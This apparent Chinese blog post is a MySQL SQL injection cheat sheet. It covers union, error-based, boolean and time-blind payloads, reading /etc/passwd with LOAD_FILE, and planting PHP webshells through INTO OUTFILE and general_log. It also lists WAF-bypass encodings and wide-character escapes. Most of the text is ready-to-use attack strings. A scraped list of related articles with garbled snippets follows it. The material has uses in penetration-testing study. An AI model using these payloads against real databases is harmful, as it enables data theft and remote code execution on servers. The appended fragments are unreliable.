SQL 注入~MySQL专题
Recently,
团队在做一个关于SQL的项目,这个专题是项目中的一部分,该部分正是由我来负责的。今天,分享给正在奋斗中的伙伴们,愿,你们在以后的学习道路中能有自己的收获。
神奇的MySQL
SQl注入漏洞产生的原因
- 程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
- 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL查询语句中。
SQl注入分类
- 联合查询注入
- 基于布尔的盲注
- 基于时间的盲注
- 基于报错的盲注
- 堆查询注入
MySQL
- 子字串:
- substr("abc",1,1) => 'a'
- mid("abc", 1, 1) => 'a'
- substring("abc",1,1) => 'a'
- Ascii function
- ascii('A') => 65
- Char function
- char(65) => 'a'
- Concatenation
- CONCAT('a', 'b') => 'ab'
- 如果任何一个为NULL,則返回NULL
- CONCAT_WS(分隔符, 字串1, 字串2...)
- CONCAT_WS('@', 'gg', 'inin') => gg@inin
- CONCAT('a', 'b') => 'ab'
- Cast function
- CAST('125e342.83' AS signed) => 125
- CONVERT('23',SIGNED) => 23
- Delay function
- sleep(5)
- BENCHMARK(count, expr)
- 空白字符
- 09 0A 0B 0C 0D A0 20
- File-read function
- LOAD_FILE('/etc/passwd')
- File-write
- INTO DUMPFILE
- 通用binary (写入同一行)
- INTO OUTFILE
- 通用一般文本 (有换行)
- 写webshell
- 需知道可写路径
- UNION SELECT "<? system($_GET[1]);?>",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"
- 权限
- SELECT file_priv FROM mysql.user
- secure-file-priv
- 限制MySQL导入导出
- load_file, into outfile等
- 运行时无法更改
- MySQL 5.5.53前,该值预设为空(可以导入导出)
- e.g. secure_file_priv=E:\
- 限制导入导出只能在E:\下
- e.g. secure_file_priv=null
- 限制不允许导入导出
- secure-file-priv限制下用general_log拿shell
- 限制MySQL导入导出
- SET global general_log='on';
- SET global general_log_file='C:/phpStudy/WWW/cmd.php';
- SELECT '<?php assert($_POST["cmd"]);?>';
- INTO DUMPFILE
- IF语句
- IF(condition,true-part,false-part)
- SELECT IF (1=1,'true','false') true
- Hex
- SELECT X'5061756c'; => paul
- SELECT 0x5061756c; => paul
- SELECT 0x5061756c+0 => 1348564332
- SELECT load_file(0x2F6574632F706173737764);
- /etc/passwd
- 可绕过一些WAF
- e.g. 用在不能使用单引号时(' => \')
- CHAR()也可以达到类似效果
- 'admin' => CHAR(97, 100, 109, 105, 110)
- 注释:
- #
- --
- /**/
- 一个*/可以闭合前面多个/*
- /*! 50001 select * from test */
- 可探测版本
- e.g. SELECT /*!32302 1/0, */ 1 FROM tablename
- `
- MySQL <= 5.5
- ;
- PDO支持多语句
- information_schema
- mysql >= 5.0
- Stacking Query
- 预设PHP+MySQL不支持Stacking Query
- 但PDO可以Stacking Query
- Others:
- @@version
- 同version()
- user()
- current_user
- current_user()
- current user
- system_user()
- database system user
- database()
- schema()
- current database
- @@basedir
- MySQL安装路径
- @@datadir
- Location of db file
- @@hostname
- @@version_compile_os
- Operating System
- @@innodb_version
- MD5()
- SHA1()
- COMPRESS() / UNCOMPRESS()
- group_concat()
- 合并多条结果
- e.g. select group_concat(username) from users; 一次返回所有使用者名
- 合并多条结果
- greatest()
- greatest(a, b)返回a, b中最大的
- greatest(1, 2)=2
- greatest(1, 2)=1
- between a and b
- 介于a到b之间
- greatest(1, 2) between 1 and 3
- regexp
- SELECT 'abc' regexp '.*'
- Collation
- *_ci case insensitive collation 不区分大小写
- *_cs case sensitive collation 区分大小写
- *_bin binary case sensitive collation 区分大小写
- 逻辑运算优先级
- @@version

- Union Based
- 判断column数
- union select 1,2,3...N
- order by N 找最后一个成功的N
- 测试
- or 1=1--+
- ' or 1=1--+
- " or 1=1--+
- ) or 1=1--+
- ')or 1=1--+
- ")or 1=1--+
- "))or 1=1--+
- and 1=1--+
- and 1=2--+
- 'and 1=1--+
- 'and 1=2--+
- "and 1=1--+
- "and 1=2--+
- AND 1=2 UNION SELECT 1, 2, password FROM admin--+
- LIMIT N, M 跳过前N行,抓取M行
- 爆数据库名
- union select 1,2,schema_name from information_schema.schemata limit 1,1
- union select 1,2,group_concat(schema_name) from information_schema.schemata
- 爆表名
- union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1
- union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='mydb'
- union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1
- 爆Column名
- union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1
- union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='mydb'
- MySQL User
- SELECT CONCAT(user, ":" ,password) FROM mysql.user;
- 判断column数
- Error Based
- 长度限制
- 错误信息有长度限制
- #define ERRMSGSIZE (512)
- Overflow
- MySQL > 5.5.5 overflow才会有错误信息
- SELECT ~0 => 18446744073709551615
- SELECT ~0 + 1 => ERROR
- SELECT exp(709) => 8.218407461554972e307
- SELECT exp(710) => ERROR
- 若查询成功,则返回0
- SELECT exp(~(SELECT * FROM (SELECT user())x));
- ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'
- select (select(!x-~0)from(select(select user())x)a);
- ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
- MySQL > 5.5.53 不会显示查询结果
- xpath
- extractvalue (有长度限制,32位)
- select extractvalue(1,concat(0x7e,(select @@version),0x7e));
- ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
- select extractvalue(1,concat(0x7e,(select database()),0x7e));
- ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
- AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
- AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
- AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
- AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
- AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
- select extractvalue(1,concat(0x7e,(select @@version),0x7e));
- updatexml (有长度限制,32位)
- select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
- ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
- select updatexml(1,concat(0x7e,(select database()),0x7e),1);
- ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
- AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)--
- AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
- AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
- AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
- AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
- select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
- 主键重复
- select count(*) from test group by concat(version(),floor(rand(0)*2));
- ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
- select count(*) from test group by concat(version(),floor(rand(0)*2));
- 其它函数(5.7)
- select ST_PointFromGeoHash(version(),1);
- select GTID_SUBTRACT(version(),1);
- select GTID_SUBSET(version(),1);
- select ST_LongFromGeoHash(version());
- select ST_LatFromGeoHash(version());
- extractvalue (有长度限制,32位)
- 其余error
- 未知表名报错
- Select count(*) from aa
- Table 'database().aa' doesn't exist
- GeometryCollection()
- id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))
- polygon()
- id =1 AND polygon((select * from(select * from(select user())a)b))
- multipoint()
- id = 1 AND multipoint((select * from(select * from(select user())a)b))
- multilinestring()
- id = 1 AND multilinestring((select * from(select * from(select user())a)b))
- linestring()
- id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
- multipolygon()
- id =1 AND multipolygon((select * from(select * from(select user())a)b))
- 未知表名报错
- 长度限制
- 爆库名、表名、字段名
- 当过滤information_schema等关键字时,可以用下面方法爆库名
- select 1,2,3 from users where 1=abc();
- ERROR 1305 (42000): FUNCTION fl4g.abc does not exist
- select 1,2,3 from users where 1=abc();
- 爆表名
- select 1,2,3 from users where Polygon(id);
- select 1,2,3 from users where linestring(id);
- ERROR 1367 (22007): Illegal non geometric '`fl4g`.`users`.`id`' value found during parsing
- 爆Column
- select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);
- ERROR 1060 (42S21): Duplicate column name 'id'
- select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);
- ERROR 1060 (42S21): Duplicate column name 'username'
- select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);
- 当过滤information_schema等关键字时,可以用下面方法爆库名
- Blind Based (Time/Boolean)
- Boolean
- True || False
- id=87 and length(user())>0
- id=87 and length(user())>100
- id=87 and ascii(substr(user(),1,1))>100
- id=87 and ascii(mid(user(),1,1))>100
- id=87 and ord(substr(user(),1,1))>100
- id=87 and ord(mid(user(),1,1))>100
- id=87 or ((select user()) regexp binary '^[a-z]')
- Time
- 用在什么结果都看不到时
- Sleep()
- id=87 and if(length(user())>0, sleep(10), 1)=1
- id=87 and if(length(user())>100, sleep(10), 1)=1
- id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1
- id=87 and if(length(user())>0, sleep(10), 1)=1
- benchmark()
- If(ascii(substr(database(),1,1))>115,0, benchmark(100000,MD5('admin')))%23
- Boolean
- 绕过空白检查
- id=-1/**/UNION/**/SELECT/**/1,2,3
- id=-1%09UNION%0DSELECT%0A1,2,3
- id=(-1)UNION(SELECT(1),2,3)
- 宽字符注入
- addslashes()会让'变\'
- 在GBK编码中,中文字用两个Bytes表示
- 其他多字符编码也可
- 但要低位范围有包含0x5c(\)
- 第一个Byte要>128才是中文
- %df' => %df\' => 运' (成功逃逸)
- Order by注入
- 可以通过asc、desc简单判断
- ?sort=1 asc
- ?sort=1 desc
- 后面不能接UNION
- 已知字段名 (可以盲注)
- ?order=IF(1=1, username, password)
- 利用报错
- ?order=IF(1=1,1,(select 1 union select 2)) TRUE
- ?order=IF(1=2,1,(select 1 union select 2)) ERROR
- ?order=IF(1=1,1,(select 1 from information_schema.tables)) TRUE
- ?order=IF(1=2,1,(select 1 from information_schema.tables)) ERROR
- Time Based
- ?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 0 TRUE
- ?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
- 可以通过asc、desc简单判断
- group by with rollup
- ' or 1=1 group by pwd with rollup limit 1 offset 2#
- 将字串换成纯数字
- 字串 -> 16进位 -> 10进位
- conv(hex(YOUR_DATA), 16, 10)
- 还原:unhex(conv(DEC_DATA,10,16))
- 需注意不要Overflow
- 不使用逗号
- LIMIT N, M => LIMIT M OFFSET N
- mid(user(), 1, 1) => mid(user() from 1 for 1)
- UNION SELECT 1,2,3 => UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)
- 快速查找带关键字的表
- select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%');
- innodb
- 表引擎为innodb
- MySQL > 5.5
- innodb_table_stats、innodb_table_index存放所有库名表名
- select table_name from mysql.innodb_table_stats where database_name=库名;
- Bypass WAF
- 大小写绕过
- select password => SelEcT password
- 替换大小写绕过WAF
- ?id=998 UNIunionON SEselectLECt 1,2,3,4,5,6 =>
- ?id=998 UNION SELECt 1,2,3,4,5,6
- ?id=998 UNIunionON SEselectLECt 1,2,3,4,5,6 =>
- 运用编码技术绕过
- 如URLEncode编码,ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31,或者CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
- 空白绕过
- select password => select/**/password
- select password => select(password)
- select password => s%65lect%20password (URLencode)
- select password => select%0apassword (URLencode)
- %09, %0a, %0b, %0c, %0d, %a0
- select password from admin => select password /*!from*/admin (MySQL注解)
- information_schema.schemata => `information_schema`.schemata (绕关键字/空白)
- select xxx from`information_schema`.schemata
- 单引号绕过
- select pass from user where id='admin' => select pass from user where id=0x61646d696e
- id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))
- select pass from user where id='admin' => select pass from user where id=0x61646d696e
- 逗号绕过
- substr('kaibro',1,1) => substr('kaibro' from 1 for 1)
- LIMIT 0,1 => LIMIT 1 OFFSET 0 ()
- 绕关键字
- WHERE => HAVING
- AND => &&
- OR => ||
- = => LIKE
- a = 'b' => not a > 'b' and not a < 'b'
- > 10 => not between 0 and 10
- case when特性
- 实现多次不同的查询 id=case when @nnctf is null then @nnctf:=2 else @nnctf:=@nnctf-1 end
- select case when @nnctf is null then @nnctf:=2 else @nnctf:=@nnctf-1 end;
- 第一次查询结果:id=2
- 第二次查询结果:id=1
- select case when @nnctf is null then @nnctf:=2 else @nnctf:=@nnctf-1 end;
- 实现多次不同的查询 id=case when @nnctf is null then @nnctf:=2 else @nnctf:=@nnctf-1 end
- ?id=0e2union select 1,2,3 (科学计数法)
- ?id=.1union select 1,2,3 (点)
- 大小写绕过
SQL 注入~MySQL专题的更多相关文章
- SQL注入技术专题—由浅入深【精华聚合贴】
SQL注入技术专题—由浅入深[精华聚合贴] 不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企 ...
- SQL注入技术专题—由浅入深【精华聚合】
作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23569276来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 不管用什么语言编写的Web应用 ...
- c# 登录 防止sql注入 mysql数据库
利用参数化 防止SQL注入 public string serachName(string name) { string result = ""; try { conn.Open( ...
- sql注入mysql注入
#跨库查询及应用思路 information_schema表特性,记录数据库名.表名.列名对应表 information_schema.schemata:存储所有数据库名 schema_name:数据 ...
- sql注入--mysql
mysql数据库结构: 数据库A --> 表名 --> 列名 --> 数据 数据库B --> 表名 --> 列名 --> 数据 mysql数据库信息: my ...
- sql注入的基本防范手段
基本的sql注入防御手段,概括来讲就是权限控制和关键词过滤. 防御sql注入 ============================================================= ...
- web安全—sql注入漏洞
SQL注入-mysql注入 一.普通的mysql注入 MySQL注入不像注入access数据库那样,不需要猜.从mysql5.0以上的版本,出现一个虚拟的数据库,即:information_schem ...
- pymysql 解决 sql 注入问题
1. SQL 注入 SQL 注入是非常常见的一种网络攻击方式,主要是通过参数来让 mysql 执行 sql 语句时进行预期之外的操作. 即:因为传入的参数改变SQL的语义,变成了其他命令,从而操作了数 ...
- SQL注入不简单?那是你没有懂它的原理~
我们真的了解SQL注入吗? 不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏 ...
随机推荐
- watch.go
package: } ,) ), ), ) ) , ];]]] :] ].Err()]:] ].Kv.ModRevision w.resuming = append(w.resumin ...
- 将外部dwg图纸中指定带属性的块插入到当前图纸中
static void InsertBlock() { //获取要插入的块名 TCHAR str[40]; acedGetString(Adesk::kFalse, _T("\n请输入要插入 ...
- 用ASP.NET Core 2.0 建立规范的 REST API -- GET 和 POST
本文所需的一些预备知识可以看这里: http://www.cnblogs.com/cgzl/p/9010978.html 和 http://www.cnblogs.com/cgzl/p/9019314 ...
- bzoj 2005 能量采集 莫比乌斯反演
我们要求的是∑ni=1∑mj=1(2×gcd(i,j)−1) 化简得2×∑ni=1∑mj=1gcd(i,j)−n×m 所以我们现在只需要求出∑ni=1∑mj=1gcd(i,j)即可 ∑ni=1∑mj= ...
- Appium 【已解决】提示报错:Attempt to re-install io.appium.android.ime without first uninstalling.
详细报错:Failed to install D:\AutoTest\appium\Appium\node_modules\appium\build\unicode_ime_apk\UnicodeIM ...
- 深度学习之注意力机制(Attention Mechanism)和Seq2Seq
这篇文章整理有关注意力机制(Attention Mechanism )的知识,主要涉及以下几点内容: 1.注意力机制是为了解决什么问题而提出来的? 2.软性注意力机制的数学原理: 3.软性注意力机制. ...
- Docker安装+HelloWorld+运行Tomcat
前言 只有光头才能变强. 文本已收录至我的GitHub仓库,欢迎Star:https://github.com/ZhongFuCheng3y/3y 上一篇已经讲解了为什么需要Docker?,相信大家已 ...
- Spring WebFlux开门迎客,却来了一位特殊客人
话说Spring WebFlux已经出现有一段时间了,但是知道他的人并不是很多.这让他很是闷闷不乐. 还有更惨的是,那些敢于吃螃蟹的人在尝试了他之后,有的竟把代码重新改回到Spring MVC的同步模 ...
- JavaSE:数据类型之间的转换(附常见面试题)
数据类型之间的转换 分为以下几种情况: 1)低级到高级的自动类型转换: 2)高级到低级的强制类型转换(会导致溢出或丢失精度): 3)基本类型向类类型转换: 4)基本类型向字符串的转换: 5)类类型向字 ...
- 从On-Premise本地到On-Cloud云上运维的演进
摘要: 从用户的声音中,我们听到用户对稳定.弹性.透明的诉求,我们也在不断升级ECS的运维能力和体验,助力用户建立主动运维体系,赋能业务永续运行.为了让大家更好的了解和用好ECS弹性计算服务,从本期开 ...